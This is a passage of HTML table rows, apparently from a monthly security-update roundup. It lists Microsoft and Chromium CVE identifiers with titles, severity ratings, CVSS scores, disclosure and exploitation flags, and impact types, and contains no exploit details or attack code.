</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26153">CVE-2026-26153</a></td>
  <td>Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32087">CVE-2026-32087</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32093">CVE-2026-32093</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32086">CVE-2026-32086</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32150">CVE-2026-32150</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27931">CVE-2026-27931</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27930">CVE-2026-27930</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32221">CVE-2026-32221</a></td>
  <td>Windows Graphics Component Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27906">CVE-2026-27906</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27928">CVE-2026-27928</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26156">CVE-2026-26156</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32149">CVE-2026-32149</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27910">CVE-2026-27910</a></td>
  <td>Windows Installer Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912">CVE-2026-27912</a></td>
  <td>Windows Kerberos Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26179">CVE-2026-26179</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26180">CVE-2026-26180</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32195">CVE-2026-32195</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26163">CVE-2026-26163</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32215">CVE-2026-32215</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32217">CVE-2026-32217</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32218">CVE-2026-32218</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26169">CVE-2026-26169</a></td>
  <td>Windows Kernel Memory Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27929">CVE-2026-27929</a></td>
  <td>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32071">CVE-2026-32071</a></td>
  <td>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20930">CVE-2026-20930</a></td>
  <td>Windows Management Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26162">CVE-2026-26162</a></td>
  <td>Windows OLE Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33101">CVE-2026-33101</a></td>
  <td>Windows Print Spooler Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32084">CVE-2026-32084</a></td>
  <td>Windows Print Spooler Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27927">CVE-2026-27927</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26184">CVE-2026-26184</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32069">CVE-2026-32069</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32074">CVE-2026-32074</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32078">CVE-2026-32078</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26167">CVE-2026-26167</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32158">CVE-2026-32158</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32159">CVE-2026-32159</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32160">CVE-2026-32160</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26172">CVE-2026-26172</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20928">CVE-2026-20928</a></td>
  <td>Windows Recovery Environment Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32216">CVE-2026-32216</a></td>
  <td>Windows Redirected Drive Buffering System Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27909">CVE-2026-27909</a></td>
  <td>Windows Search Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26161">CVE-2026-26161</a></td>
  <td>Windows Sensor Data Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26174">CVE-2026-26174</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32224">CVE-2026-32224</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26154">CVE-2026-26154</a></td>
  <td>Windows Server Update Service (WSUS) Tampering Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Tampering</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26165">CVE-2026-26165</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26166">CVE-2026-26166</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27918">CVE-2026-27918</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32151">CVE-2026-32151</a></td>
  <td>Windows Shell Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32225">CVE-2026-32225</a></td>
  <td>Windows Shell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32202">CVE-2026-32202</a></td>
  <td>Windows Shell Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32082">CVE-2026-32082</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32083">CVE-2026-32083</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32068">CVE-2026-32068</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32183">CVE-2026-32183</a></td>
  <td>Windows Snipping Tool Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32089">CVE-2026-32089</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32090">CVE-2026-32090</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32153">CVE-2026-32153</a></td>
  <td>Windows Speech Runtime Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27907">CVE-2026-27907</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32076">CVE-2026-32076</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27908">CVE-2026-27908</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27921">CVE-2026-27921</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27915">CVE-2026-27915</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27919">CVE-2026-27919</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32075">CVE-2026-32075</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27916">CVE-2026-27916</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27920">CVE-2026-27920</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32077">CVE-2026-32077</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27925">CVE-2026-27925</a></td>
  <td>Windows UPnP Device Host Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32156">CVE-2026-32156</a></td>
  <td>Windows UPnP Device Host Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32223">CVE-2026-32223</a></td>
  <td>Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32165">CVE-2026-32165</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27911">CVE-2026-27911</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32163">CVE-2026-32163</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32164">CVE-2026-32164</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23670">CVE-2026-23670</a></td>
  <td>Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27917">CVE-2026-27917</a></td>
  <td>Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32080">CVE-2026-32080</a></td>
  <td>Windows WalletService Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32222">CVE-2026-32222</a></td>
  <td>Windows Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21637">CVE-2026-21637 *</a></td>
  <td> HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers</td>
  <td> Moderate</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33119">CVE-2026-33119</a></td>
  <td>Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>5.4</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829">CVE-2026-33829</a></td>
  <td>Windows Snipping Tool Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5858">CVE-2026-5858 *</a></td>
  <td>Chromium: CVE-2026-5858 Heap buffer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5859">CVE-2026-5859 *</a></td>
  <td>Chromium: CVE-2026-5859 Integer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5272">CVE-2026-5272 *</a></td>
  <td>Chromium: CVE-2026-5272 Heap buffer overflow in GPU</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5273">CVE-2026-5273 *</a></td>
  <td>Chromium: CVE-2026-5273 Use after free in CSS</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5274">CVE-2026-5274 *</a></td>
  <td>Chromium: CVE-2026-5274 Integer overflow in Codecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5275">CVE-2026-5275 *</a></td>
  <td>Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5276">CVE-2026-5276 *</a></td>
  <td>Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5277">CVE-2026-5277 *</a></td>
  <td>Chromium: CVE-2026-5277 Integer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5279">CVE-2026-5279 *</a></td>
  <td>Chromium: CVE-2026-5279 Object corruption in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5280">CVE-2026-5280 *</a></td>
  <td>Chromium: CVE-2026-5280 Use after free in WebCodecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5283">CVE-2026-5283 *</a></td>
  <td>Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5284">CVE-2026-5284 *</a></td>
  <td>Chromium: CVE-2026-5284 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5285">CVE-2026-5285 *</a></td>
  <td>Chromium: CVE-2026-5285 Use after free in WebGL</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5286">CVE-2026-5286 *</a></td>
  <td>Chromium: CVE-2026-5286 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
